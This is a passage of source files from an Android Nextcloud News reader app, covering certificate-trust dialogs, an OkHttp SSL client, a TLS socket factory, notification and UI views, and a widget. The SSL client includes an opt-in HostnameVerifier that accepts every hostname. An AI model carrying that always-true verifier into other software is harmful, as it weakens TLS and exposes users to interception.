si.toString();\n\t}\n\n\n\tvoid startActivityNotification(Intent intent, String certName) {\n\t\tPendingIntent call = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);\n\t\tNotification n = new NotificationCompat.Builder(mContext)\n\t\t\t\t.setLargeIcon(BitmapFactory.decodeResource(mContext.getResources(), android.R.drawable.ic_lock_lock))\n\t\t\t\t.setSmallIcon(android.R.drawable.ic_lock_lock)\n                .setContentTitle(mContext.getString(R.string.app_name))\n\t\t\t\t.setContentText(mContext.getString(R.string.mtm_notification))\n\t\t\t\t.setStyle(new NotificationCompat.BigTextStyle().bigText(certName))\n\t\t\t\t.setContentIntent(call).build();\n\n\t\tn.flags |= Notification.FLAG_AUTO_CANCEL;\n\n\t\tnotificationManager.notify(NOTIFICATION_ID, n);\n\t}\n\n\t/**\n\t * Returns the top-most entry of the activity stack.\n\t *\n\t * @return the Context of the currently bound UI or the master context if none is bound\n\t */\n\tContext getUI() {\n\t\treturn (foregroundAct != null && foregroundAct.get() != null) ? foregroundAct.get() : mContext;\n\t}\n\n\tvoid interact(final X509Certificate[] chain, CertificateException cause)\n\t\tthrows CertificateException\n\t{\n\t\t/* prepare the MTMDecision blocker object */\n\t\tMTMDecision choice = new MTMDecision();\n\t\tfinal int myId = createDecisionId(choice);\n\t\tfinal String certMessage = certChainMessage(chain, cause);\n\n\t\tBroadcastReceiver decisionReceiver = new BroadcastReceiver() {\n\t\t\tpublic void onReceive(Context ctx, Intent i) { interactResult(i); }\n\t\t};\n\t\tmContext.registerReceiver(decisionReceiver, new IntentFilter(DECISION_INTENT + \"/\" + mContext.getPackageName()));\n\t\tmasterHandler.post(() -> {\n\t\t\tIntent ni = new Intent(mContext, MemorizingDialogFragment.class);\n\t\t\tni.setData(Uri.parse(MemorizingTrustManager.class.getName() + \"/\" + myId));\n\n\t\t\tBundle bundle = new Bundle();\n\t\t\tbundle.putString(DECISION_INTENT_APP, mContext.getPackageName());\n\t\t\tbundle.putInt(DECISION_INTENT_ID, myId);\n\t\t\tbundle.putString(DECISION_INTENT_CERT, certMessage);\n\n\t\t\tDialogFragment dialog = new MemorizingDialogFragment();\n\t\t\tdialog.setArguments(bundle);\n\t\t\ttry {\n\t\t\t\tdialog.show(((FragmentActivity) getUI()).getSupportFragmentManager(), \"NoticeDialogFragment\");\n\t\t\t} catch (Exception ex) {\n\t\t\t\tLog.e(TAG, \"startActivity: \" + ex);\n\t\t\t\tstartActivityNotification(ni, certMessage);\n\t\t\t}\n\t\t});\n\n\t\tLog.d(TAG, \"openDecisions: \" + openDecisions);\n\t\tLog.d(TAG, \"waiting on \" + myId);\n\t\ttry {\n\t\t\tsynchronized(choice) { choice.wait(); }\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tmContext.unregisterReceiver(decisionReceiver);\n\t\tLog.d(TAG, \"finished wait on \" + myId + \": \" + choice.state);\n\t\tswitch (choice.state) {\n\t\tcase MTMDecision.DECISION_ALWAYS:\n\t\t\tstoreCert(chain);\n\t\tcase MTMDecision.DECISION_ONCE:\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tthrow (cause);\n\t\t}\n\t}\n\n\tpublic static void interactResult(Intent i) {\n\t\tint decisionId = i.getIntExtra(DECISION_INTENT_ID, MTMDecision.DECISION_INVALID);\n\t\tint choice = i.getIntExtra(DECISION_INTENT_CHOICE, MTMDecision.DECISION_INVALID);\n\t\tLog.d(TAG, \"interactResult: \" + decisionId + \" chose \" + choice);\n\t\tLog.d(TAG, \"openDecisions: \" + openDecisions);\n\n\t\tMTMDecision d;\n\t\tsynchronized(openDecisions) {\n\t\t\t d = openDecisions.get(decisionId);\n\t\t\t openDecisions.remove(decisionId);\n\t\t}\n\t\tif (d == null) {\n\t\t\tLog.e(TAG, \"interactResult: aborting due to stale decision reference!\");\n\t\t\treturn;\n\t\t}\n\t\tsynchronized(d) {\n\t\t\td.state = choice;\n\t\t\td.notify();\n\t\t}\n\t}\n\n}\n\n\n\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ssl/OkHttpSSLClient.java",
    "content": "package de.luhmer.owncloudnewsreader.ssl;\n\nimport android.annotation.SuppressLint;\nimport android.content.SharedPreferences;\nimport android.os.Build;\n\nimport androidx.annotation.NonNull;\n\nimport com.google.gson.JsonParseException;\n\nimport java.io.IOException;\nimport java.security.GeneralSecurityException;\nimport java.security.KeyManagementException;\nimport java.security.KeyStore;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Arrays;\nimport java.util.concurrent.TimeUnit;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.TrustManagerFactory;\nimport javax.net.ssl.X509TrustManager;\n\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport okhttp3.ConnectionSpec;\nimport okhttp3.Credentials;\nimport okhttp3.HttpUrl;\nimport okhttp3.Interceptor;\nimport okhttp3.OkHttpClient;\nimport okhttp3.Request;\nimport okhttp3.Response;\nimport okhttp3.logging.HttpLoggingInterceptor;\n\n/**\n * Created by david on 26.05.17.\n */\n\npublic class OkHttpSSLClient {\n\n    public static OkHttpClient GetSslClient(HttpUrl baseUrl, String username, String password, SharedPreferences sp, MemorizingTrustManager mtm) {\n        // set location of the keystore\n        MemorizingTrustManager.setKeyStoreFile(\"private\", \"sslkeys.bks\");\n\n        HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor();\n        //interceptor.setLevel(HttpLoggingInterceptor.Level.BODY);\n\n        OkHttpClient.Builder clientBuilder = new OkHttpClient.Builder()\n                .connectTimeout(30, TimeUnit.SECONDS)\n                .readTimeout(30, TimeUnit.MINUTES)\n                .addInterceptor(new AuthorizationInterceptor(baseUrl, Credentials.basic(username, password)))\n                .addInterceptor(interceptor);\n\n        // register MemorizingTrustManager for HTTPS\n        try {\n            SSLContext sc = SSLContext.getInstance(\"TLS\");\n            //sc.init(null, MemorizingTrustManager.getInstanceList(context), new java.security.SecureRandom());\n            sc.init(null, new X509TrustManager[] { mtm }, new java.security.SecureRandom());\n            // enables TLSv1.1/1.2 for Jelly Bean Devices\n            TLSSocketFactory tlsSocketFactory = new TLSSocketFactory(sc);\n            clientBuilder.sslSocketFactory(tlsSocketFactory, systemDefaultTrustManager());\n\n            // Workaround for Android 7.0 TLS bug\n            if (Build.VERSION.SDK_INT == Build.VERSION_CODES.N) {\n                String[] suites = tlsSocketFactory.getDefaultCipherSuites();\n                ConnectionSpec tlsSpec = new ConnectionSpec.Builder(ConnectionSpec.MODERN_TLS).cipherSuites(suites).build();\n                clientBuilder.connectionSpecs(Arrays.asList(tlsSpec, ConnectionSpec.CLEARTEXT));\n            }\n        } catch (KeyManagementException | NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        }\n\n        clientBuilder.connectTimeout(10, TimeUnit.SECONDS);\n        clientBuilder.readTimeout(120, TimeUnit.SECONDS);\n\n        // disable hostname verification, when preference is set\n        // (this still shows a certification dialog, which requires user interaction!)\n        if(sp.getBoolean(SettingsActivity.CB_DISABLE_HOSTNAME_VERIFICATION_STRING, false))\n            clientBuilder.hostnameVerifier(new HostnameVerifier() {\n                @SuppressLint(\"BadHostnameVerifier\")\n                @Override\n                public boolean verify(String hostname, SSLSession session) {\n                    return true;\n                }\n            });\n\n        return clientBuilder.build();\n    }\n\n    public static <T extends Throwable> T HandleExceptions(T ex) {\n        if(ex.getMessage() != null && ex.getMessage().startsWith(\"Not a JSON Object: \\\"<!DOCTYPE\\\"\")) {\n            return (T) new JsonParseException(\"Invalid response from server. Please make sure, that the News App is installed and activated in your ownCloud/Nextcloud Webinterface. More information can be found here: https://github.com/nextcloud/news/blob/master/README.md#installationupdate\");\n        }\n        //if(versionCode == -1 && exception_message.equals(\"Value <!DOCTYPE of type java.lang.String cannot be converted to JSONObject\")) {\n        //        ShowAlertDialog(getString(R.string.login_dialog_title_error), getString(R.string.login_dialog_text_not_compatible), getActivity());\n        //}\n\n        return ex;\n    }\n\n    private static X509TrustManager systemDefaultTrustManager() {\n        try {\n            TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());\n            trustManagerFactory.init((KeyStore) null);\n            TrustManager[] trustManagers = trustManagerFactory.getTrustManagers();\n            if (trustManagers.length != 1 || !(trustManagers[0] instanceof X509TrustManager)) {\n                throw new IllegalStateException(\"Unexpected default trust managers:\"\n                        + Arrays.toString(trustManagers));\n            }\n            return (X509TrustManager) trustManagers[0];\n        } catch (GeneralSecurityException e) {\n            throw new AssertionError(); // The system has no TLS. Just give up.\n        }\n    }\n\n    private record AuthorizationInterceptor(HttpUrl mHostUrl,\n                                            String mCredentials) implements Interceptor {\n\n        @NonNull\n            @Override\n            public Response intercept(Chain chain) throws IOException {\n                Request request = chain.request();\n\n                // only add Authorization header for urls on the configured owncloud/nextcloud host\n                if (mHostUrl.url().getHost().equals(request.url().host()))\n                    request = request.newBuilder()\n                            .addHeader(\"Authorization\", mCredentials)\n                            .build();\n                return chain.proceed(request);\n            }\n        }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ssl/TLSSocketFactory.kt",
    "content": "package de.luhmer.owncloudnewsreader.ssl\n\nimport java.io.IOException\nimport java.net.InetAddress\nimport java.net.Socket\nimport javax.net.ssl.SSLContext\nimport javax.net.ssl.SSLSocket\nimport javax.net.ssl.SSLSocketFactory\n\n/* This class should enable TLSv1.1 and TLSv1.2 on devices where they are available but not enabled.\n   According to https://developer.android.com/reference/javax/net/ssl/SSLSocket.html\n   this should only affect API Level 16 - 20.\n\n   DISCLAIMER: The author is neither an Android/Java developer nor a software developer at all.\n   Since this class affects security it shouldn't be used unless it was reviewed and tested\n   by an qualified person.\n\n*/\nclass TLSSocketFactory(\n    sslContext: SSLContext,\n) : SSLSocketFactory() {\n    private val socketFactory: SSLSocketFactory\n\n    init {\n        socketFactory = sslContext.socketFactory\n    }\n\n    @Throws(IOException::class)\n    override fun createSocket(\n        socket: Socket,\n        host: String,\n        port: Int,\n        autoClose: Boolean,\n    ): Socket {\n        val sslSocket =\n            socketFactory.createSocket(\n                socket,\n                host,\n                port,\n                autoClose,\n            ) as SSLSocket\n\n        // Enable all supported Protocols\n        sslSocket.enabledProtocols = sslSocket.supportedProtocols\n        return sslSocket\n    }\n\n    override fun getDefaultCipherSuites(): Array<String> = socketFactory.defaultCipherSuites\n\n    override fun getSupportedCipherSuites(): Array<String> = socketFactory.supportedCipherSuites\n\n    // NoTLS\n    override fun createSocket(\n        s: String,\n        i: Int,\n    ): Socket = super.createSocket()\n\n    override fun createSocket(\n        s: String,\n        i: Int,\n        inetAddress: InetAddress,\n        i2: Int,\n    ): Socket = super.createSocket()\n\n    override fun createSocket(\n        inetAddress: InetAddress,\n        i: Int,\n    ): Socket = super.createSocket()\n\n    override fun createSocket(\n        inetAddress: InetAddress,\n        i: Int,\n        inetAddress2: InetAddress,\n        i2: Int,\n    ): Socket = super.createSocket()\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/view/AnimatingProgressBar.java",
    "content": "package de.luhmer.owncloudnewsreader.view;\n\nimport android.animation.ValueAnimator;\nimport android.content.Context;\nimport android.util.AttributeSet;\nimport android.view.animation.DecelerateInterpolator;\nimport android.view.animation.Interpolator;\nimport android.widget.ProgressBar;\n\n/**\n * Like a standard android progress bar but with an animated progress\n * on Honeycomb and above. Use it like a normal progress bar.\n */\npublic class AnimatingProgressBar extends ProgressBar {\n\n    /**\n     * easing of the bar animation\n     */\n    private static final Interpolator DEFAULT_INTERPOLATOR = new DecelerateInterpolator();\n\n    /**\n     * animation dureation in milliseconds\n     */\n    private static final int ANIMATION_DURATION = 350;\n\n    /**\n     * Factor by which the progress bar resolution will be increased. E.g. the max\n     * value is set to 5 and the resolution to 100: the bar can animate internally\n     * between the values 0 and 500.\n     */\n    private static final int RESOLUTION = 100;\n\n    private ValueAnimator animator;\n    private ValueAnimator animatorSecondary;\n    private boolean animate = true;\n\n    public AnimatingProgressBar(Context context, AttributeSet attrs, int defStyle) {\n        super(context, attrs, defStyle);\n    }\n\n    public AnimatingProgressBar(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public AnimatingProgressBar(Context context) {\n        super(context);\n    }\n\n    public boolean isAnimate() {\n        return animate;\n    }\n\n    public void setAnimate(boolean animate) {\n        this.animate = animate;\n    }\n\n    @Override\n    public synchronized void setMax(int max) {\n        super.setMax(max * RESOLUTION);\n    }\n\n    @Override\n    public synchronized int getMax() {\n        return super.getMax() / RESOLUTION;\n    }\n\n    @Override\n    public synchronized int getProgress() {\n        return super.getProgress() / RESOLUTION;\n    }\n\n    @Override\n    public synchronized int getSecondaryProgress() {\n        return super.getSecondaryProgress() / RESOLUTION;\n    }\n\n    @Override\n    public synchronized void setProgress(int progress) {\n        if (!animate) {\n            super.setProgress(progress);\n            return;\n        }\n\n        if (animator == null) {\n            animator = ValueAnimator.ofInt(getProgress() * RESOLUTION, progress * RESOLUTION);\n            animator.setInterpolator(DEFAULT_INTERPOLATOR);\n            animator.setDuration(ANIMATION_DURATION);\n            animator.addUpdateListener(animation -> AnimatingProgressBar.super.setProgress((Integer) animation.getAnimatedValue()));\n        }\n\n        animator.cancel();\n        animator.setIntValues(getProgress() * RESOLUTION, progress * RESOLUTION);\n        animator.start();\n    }\n\n    @Override\n    public synchronized void setSecondaryProgress(int secondaryProgress) {\n        if (!animate) {\n            super.setSecondaryProgress(secondaryProgress);\n            return;\n        }\n\n        if (animatorSecondary == null) {\n            animatorSecondary = ValueAnimator.ofInt(getSecondaryProgress() * RESOLUTION, secondaryProgress * RESOLUTION);\n            animatorSecondary.setInterpolator(DEFAULT_INTERPOLATOR);\n            animatorSecondary.setDuration(ANIMATION_DURATION);\n            animatorSecondary.addUpdateListener(animation -> AnimatingProgressBar.super.setSecondaryProgress((Integer) animation.getAnimatedValue()));\n        }\n\n        animatorSecondary.cancel();\n        animatorSecondary.setIntValues(getSecondaryProgress() * RESOLUTION, secondaryProgress * RESOLUTION);\n        animatorSecondary.start();\n    }\n\n    @Override\n    protected void onDetachedFromWindow() {\n        super.onDetachedFromWindow();\n\n        if (animator != null) {\n            animator.cancel();\n        }\n        if (animatorSecondary != null) {\n            animatorSecondary.cancel();\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/view/ChangeLogFileListView.kt",
    "content": "package de.luhmer.owncloudnewsreader.view\n\nimport android.content.Context\nimport android.util.AttributeSet\nimport it.gmariotti.changelibs.library.view.ChangeLogListView\n\n/**\n * Thin wrapper around changeloglib to load local xml files by path\n * after the view has already been instantiated.\n */\nclass ChangeLogFileListView\n    @JvmOverloads\n    constructor(\n        context: Context?,\n        attrs: AttributeSet? = null,\n        defStyle: Int = 0,\n    ) : ChangeLogListView(context, attrs, defStyle) {\n        /**\n         * @param path  local xml path staring with \"file://\"\n         */\n        fun loadFile(path: String) {\n            mChangeLogFileResourceUrl = path\n            super.initAdapter()\n        }\n\n        override fun initAdapter() {\n            // do nothing yet - will be called in loadFile()\n        }\n    }\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/view/PodcastNotification.java",
    "content": "package de.luhmer.owncloudnewsreader.view;\n\nimport android.app.Notification;\nimport android.app.NotificationManager;\nimport android.content.Context;\nimport android.support.v4.media.session.MediaSessionCompat;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.util.Log;\n\nimport androidx.core.app.NotificationCompat;\n\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.util.Locale;\n\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\n\npublic class PodcastNotification {\n\n    private static final String TAG = PodcastNotification.class.getCanonicalName();\n    public static final String ACTION_PLAY = \"action_play\";\n    public static final String ACTION_PAUSE = \"action_pause\";\n    //public static final String ACTION_NEXT = \"action_next\";\n    //public static final String ACTION_PREVIOUS = \"action_previous\";\n    //public static final String ACTION_STOP = \"action_stop\";\n\n    private final Context mContext;\n    private final NotificationManager notificationManager;\n    private NotificationCompat.Builder notificationBuilder;\n    private final String CHANNEL_ID = \"Podcast Notification\";\n\n    private final MediaSessionCompat mSession;\n    private @PlaybackStateCompat.State int lastStatus = PlaybackStateCompat.STATE_NONE;\n\n    public final static int NOTIFICATION_ID = 1111;\n\n    public PodcastNotification(Context context, MediaSessionCompat session) {\n        this.mContext = context;\n        this.mSession = session;\n        this.notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);\n        this.notificationBuilder = NextcloudNotificationManager.buildPodcastNotification(mContext, CHANNEL_ID, mSession);\n\n        //EventBus.getDefault().register(this);\n    }\n\n    @Subscribe\n    public void updateStateOfNotification(@PlaybackStateCompat.State int status, long currentPosition, long totalDuration) {\n        if(mSession == null) {\n            Log.v(TAG, \"Session null.. ignore UpdatePodcastStatusEvent\");\n            return;\n        }\n\n        if (status != lastStatus) {\n            lastStatus = status;\n\n\n            /*\n            if(podcast.isPlaying()) {\n                //Prevent the Podcast Player from getting killed because of low memory\n                //For more info see: http://developer.android.com/reference/android/app/Service.html#startForeground(int, android.app.Notification)\n                ((PodcastPlaybackService)mContext).startForeground(NOTIFICATION_ID, notificationBuilder.build());\n\n                notificationBuilder.setOngoing(true); // Non cancelable (sort above the others)\n            } else {\n                ((PodcastPlaybackService)mContext).stopForeground(false);\n\n                notificationBuilder.setOngoing(false); // cancelable\n            }\n            */\n\n            //Lock screen notification\n            /*\n            mSession.setMetadata(new MediaMetadataCompat.Builder()\n                    .putLong(MediaMetadataCompat.METADATA_KEY_DURATION, podcast.getMax())\n                    .build());\n                    */\n\n            notificationBuilder = NextcloudNotificationManager.buildPodcastNotification(mContext, CHANNEL_ID, mSession);\n\n            //int drawableId = podcast.isPlaying() ? android.R.drawable.ic_media_pause : android.R.drawable.ic_media_play;\n            //String actionText = podcast.isPlaying() ? \"Pause\" : \"Play\";\n            //notificationBuilder.addAction(new NotificationCompat.Action(drawableId, actionText, intent));\n\n            notificationManager.notify(NOTIFICATION_ID, notificationBuilder.build());\n        }\n\n\n        int hours = (int) (currentPosition / (1000*60*60));\n        int minutes = (int) ((currentPosition % (1000*60*60)) / (1000*60));\n        int seconds = (int) ((currentPosition % (1000*60*60)) % (1000*60) / 1000);\n        minutes += hours * 60;\n        String fromText = (String.format(Locale.getDefault(), \"%02d:%02d\", minutes, seconds));\n\n        hours = (int) (totalDuration / (1000*60*60));\n        minutes = (int) ((totalDuration % (1000*60*60)) / (1000*60));\n        seconds = (int) ((totalDuration % (1000*60*60)) % (1000*60) / 1000);\n        minutes += hours * 60;\n        String toText = (String.format(Locale.getDefault(),\"%02d:%02d\", minutes, seconds));\n\n\n\n        double progressDouble = ((double)currentPosition / (double)totalDuration) * 100d;\n        int progress = ((int) progressDouble);\n\n        notificationBuilder\n                .setContentText(fromText + \" - \" + toText)\n                .setProgress(100, progress, status == PlaybackStateCompat.STATE_CONNECTING); // TODO IMPLEMENT THIS!!!!\n\n        notificationManager.notify(NOTIFICATION_ID, notificationBuilder.build());\n    }\n\n    public void cancel()\n    {\n        if(notificationManager != null) {\n            notificationManager.cancel(NOTIFICATION_ID);\n        }\n        /*\n        if(mSession != null) {\n            mSession.setActive(false);\n        }\n        */\n    }\n\n    public void createPodcastNotification() {\n        /*\n        MediaItem podcastItem = ((PodcastPlaybackService)mContext).getCurrentlyPlayingPodcast();\n        */\n        /*\n        String favIconUrl = podcastItem.favIcon;\n        DisplayImageOptions displayImageOptions = new DisplayImageOptions.Builder().\n                showImageOnLoading(R.drawable.default_feed_icon_light).\n                showImageForEmptyUri(R.drawable.default_feed_icon_light).\n                showImageOnFail(R.drawable.default_feed_icon_light).\n                build();\n                */\n\n        //Bitmap bmpAlbumArt = ImageLoader.getInstance().loadImageSync(favIconUrl, displayImageOptions);\n\n        /*\n        mSession.setMetadata(new MediaMetadataCompat.Builder()\n                .putString(MediaMetadataCompat.METADATA_KEY_ARTIST, podcastItem.author)\n                .putString(MediaMetadataCompat.METADATA_KEY_TITLE, podcastItem.title)\n                .build());\n        */\n\n        /*\n        mSession.setMetadata(new MediaMetadataCompat.Builder()\n                .putString(MediaMetadataCompat.METADATA_KEY_ARTIST, \"NA\")\n                .putString(MediaMetadataCompat.METADATA_KEY_ALBUM, \"\")\n                .putString(MediaMetadataCompat.METADATA_KEY_TITLE, \"NA\")\n                //.putString(MediaMetadataCompat.METADATA_KEY_TITLE, podcastItem.title)\n                .putLong(MediaMetadataCompat.METADATA_KEY_DURATION, 100)\n                //.putBitmap(MediaMetadataCompat.METADATA_KEY_ALBUM_ART, bmpAlbumArt)\n                //.putBitmap(MediaMetadataCompat.METADATA_KEY_ALBUM_ART, BitmapFactory.decodeResource(mContext.getResources(), R.drawable.ic_launcher))\n                .build());\n        */\n\n        this.notificationBuilder = NextcloudNotificationManager.buildPodcastNotification(mContext, CHANNEL_ID, mSession);\n        notificationManager.notify(NOTIFICATION_ID, notificationBuilder.build());\n    }\n\n    public Notification getNotification() {\n        return notificationBuilder.build();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/view/PodcastSlidingUpPanelLayout.java",
    "content": "package de.luhmer.owncloudnewsreader.view;\n\nimport android.content.Context;\nimport android.util.AttributeSet;\nimport android.view.View;\nimport android.view.animation.Animation;\nimport android.view.animation.Transformation;\n\nimport com.sothree.slidinguppanel.SlidingUpPanelLayout;\n\npublic class PodcastSlidingUpPanelLayout extends SlidingUpPanelLayout {\n    public PodcastSlidingUpPanelLayout(Context context) {\n        super(context);\n    }\n\n    public PodcastSlidingUpPanelLayout(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public PodcastSlidingUpPanelLayout(Context context, AttributeSet attrs, int defStyle) {\n        super(context, attrs, defStyle);\n    }\n\n    private View mDragView;\n    private View mSlideableView;\n\n    public void setSlideableView(View view) {\n        this.mSlideableView = view;\n    }\n\n    @Override\n    public void setDragView(View dragView) {\n        this.mDragView = dragView;\n        super.setDragView(dragView);\n    }\n\n\n    private boolean isDragViewHit(int x, int y) {\n\n\n\n        //original implementation - only allow dragging on mDragView\n        View v = getPanelState().equals(SlidingUpPanelLayout.PanelState.EXPANDED) ? mDragView : mSlideableView;\n        if (v == null) return false;\n        int[] viewLocation = new int[2];\n        v.getLocationOnScreen(viewLocation);\n        int[] parentLocation = new int[2];\n        this.getLocationOnScreen(parentLocation);\n        int screenX = parentLocation[0] + x;\n        int screenY = parentLocation[1] + y;\n        return screenX >= viewLocation[0] && screenX < viewLocation[0] + v.getWidth() &&\n                screenY >= viewLocation[1] && screenY < viewLocation[1] + v.getHeight();\n\n    }\n\n\n\n\n\n\n\n    public static void expand(final View v) {\n        v.measure(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT);\n        final int targtetHeight = v.getMeasuredHeight();\n\n        v.getLayoutParams().height = 0;\n        v.setVisibility(View.VISIBLE);\n        Animation a = new Animation() {\n            @Override\n            protected void applyTransformation(float interpolatedTime, Transformation t) {\n                v.getLayoutParams().height = interpolatedTime == 1\n                        ? LayoutParams.WRAP_CONTENT\n                        : (int)(targtetHeight * interpolatedTime);\n                v.requestLayout();\n            }\n\n            @Override\n            public boolean willChangeBounds() {\n                return true;\n            }\n        };\n\n        // 1dp/ms\n        a.setDuration((int)(targtetHeight / v.getContext().getResources().getDisplayMetrics().density));\n        v.startAnimation(a);\n    }\n\n    public static void collapse(final View v) {\n        final int initialHeight = v.getMeasuredHeight();\n\n        Animation a = new Animation()\n        {\n            @Override\n            protected void applyTransformation(float interpolatedTime, Transformation t) {\n                if(interpolatedTime == 1){\n                    v.setVisibility(View.GONE);\n                }else{\n                    v.getLayoutParams().height = initialHeight - (int)(initialHeight * interpolatedTime);\n                    v.requestLayout();\n                }\n            }\n\n            @Override\n            public boolean willChangeBounds() {\n                return true;\n            }\n        };\n\n        // 1dp/ms\n        a.setDuration((int)(initialHeight / v.getContext().getResources().getDisplayMetrics().density));\n        v.startAnimation(a);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/widget/WidgetNewsViewsFactory.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.widget;\n\nimport android.annotation.SuppressLint;\nimport android.appwidget.AppWidgetManager;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.graphics.Typeface;\nimport android.os.Bundle;\nimport android.text.Html;\nimport android.text.SpannableStringBuilder;\nimport android.text.style.StyleSpan;\nimport android.util.Log;\nimport android.widget.RemoteViews;\nimport android.widget.RemoteViewsService;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\nimport de.greenrobot.dao.query.LazyList;\nimport de.luhmer.owncloudnewsreader.Constants;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\n\npublic class WidgetNewsViewsFactory implements RemoteViewsService.RemoteViewsFactory {\n\tprivate static final String TAG = WidgetNewsViewsFactory.class.getCanonicalName();\n\n    private DatabaseConnectionOrm dbConn;\n    private LazyList<RssItem> rssItems;\n\tprivate final Context context;\n\n\tprivate final int appWidgetId;\n\n\tpublic WidgetNewsViewsFactory(Context context, Intent intent) {\n\t\tthis.context = context;\n\t\tappWidgetId = intent.getExtras().getInt(AppWidgetManager.EXTRA_APPWIDGET_ID, AppWidgetManager.INVALID_APPWIDGET_ID);\n\n        if (Constants.debugModeWidget) {\n            Log.d(TAG, \"CONSTRUCTOR CALLED - \" + appWidgetId);\n        }\n\t}\n\n\t@Override\n\tpublic void onCreate() {\n        if (Constants.debugModeWidget) {\n            Log.d(TAG, \"onCreate\");\n        }\n\n\n\t\tdbConn = new DatabaseConnectionOrm(context);\n\t}\n\n\t@Override\n\tpublic void onDestroy() {\n        if (Constants.debugModeWidget) {\n            Log.d(TAG, \"onDestroy\");\n        }\n        if (rssItems != null) {\n            rssItems.close();\n        }\n\t}\n\n\t@Override\n\tpublic int getCount() {\n        if (Constants.debugModeWidget) {\n            Log.v(TAG, \"getCount - rssItems is \" + ((rssItems != null) ? \"NOT \" : \"\") + \"null\");\n        }\n\n        if (rssItems == null) {\n            return 0;\n        } else {\n            return rssItems.size();\n        }\n\t}\n\n    // Given the position (index) of a WidgetItem in the array, use the item's text value in\n    // combination with the app widget item XML file to construct a RemoteViews object.\n    @SuppressLint(\"SimpleDateFormat\")\n\tpublic RemoteViews getViewAt(int position) {\n        // if(Constants.debugModeWidget) {\n        //     Log.d(TAG, \"getViewAt: \" + position);\n        // }\n\n        RemoteViews rv = new RemoteViews(context.getPackageName(), R.layout.widget_item);\n\n        try {\n            RssItem rssItem = rssItems.get(position);\n            String header = rssItem.getFeed().getFeedTitle();\n            // String colorString = rssItem.getFeed().getAvgColour();\n\n            String authorOfArticle = rssItem.getAuthor();\n            header += authorOfArticle == null || authorOfArticle.isEmpty() ? \"\" : \" - \" + authorOfArticle.trim();\n            String title = Html.fromHtml(rssItem.getTitle()).toString();\n            long id = rssItem.getId();\n\n            Date date = rssItem.getPubDate();\n            String dateString = \"\";\n            if (date != null) {\n                SimpleDateFormat formater = new SimpleDateFormat();\n                dateString = formater.format(date);\n            }\n\n            rv.setTextViewText(R.id.feed_datetime, dateString);\n            rv.setTextViewText(R.id.feed_author_source, header);\n\n            SpannableStringBuilder titleSpan = new SpannableStringBuilder(title);\n            if (!rssItem.getRead_temp()) {\n                titleSpan.setSpan(new StyleSpan(Typeface.BOLD), 0, titleSpan.length(), 0);\n            }\n            rv.setTextViewText(R.id.feed_title, titleSpan);\n\n\n            int resId;\n            if (ThemeChooser.getSelectedTheme() == ThemeChooser.THEME.LIGHT) {\n                resId = rssItem.getRead_temp() ? R.drawable.ic_checkbox_black : R.drawable.ic_checkbox_outline_black;\n            } else {\n                resId = rssItem.getRead_temp() ? R.drawable.ic_checkbox_white : R.drawable.ic_checkbox_outline_white;\n            }\n\n            int contentDescriptionId = rssItem.getRead_temp() ? R.string.content_desc_mark_as_unread : R.string.content_desc_mark_as_read;\n            rv.setInt(R.id.cb_lv_item_read, \"setBackgroundResource\", resId);\n            rv.setContentDescription(R.id.cb_lv_item_read, context.getString(contentDescriptionId));\n\n            // if(colorString != null) {\n            //     rv.setInt(R.id.color_line_feed, \"setBackgroundColor\", Integer.parseInt(colorString));\n            // }\n\n            Bundle mBundle = new Bundle();\n            mBundle.putLong(WidgetProvider.RSS_ITEM_ID, id);\n\n            // Get a fresh new intent\n            Intent rowIntent = new Intent();\n            rowIntent.putExtras(mBundle);\n            // Set it on the list remote view\n            rv.setOnClickFillInIntent(R.id.widget_row_layout, rowIntent);\n\n            // Get a fresh new intent\n            Intent ei = new Intent();\n            ei.putExtras(mBundle);\n            // Set it on the list remote 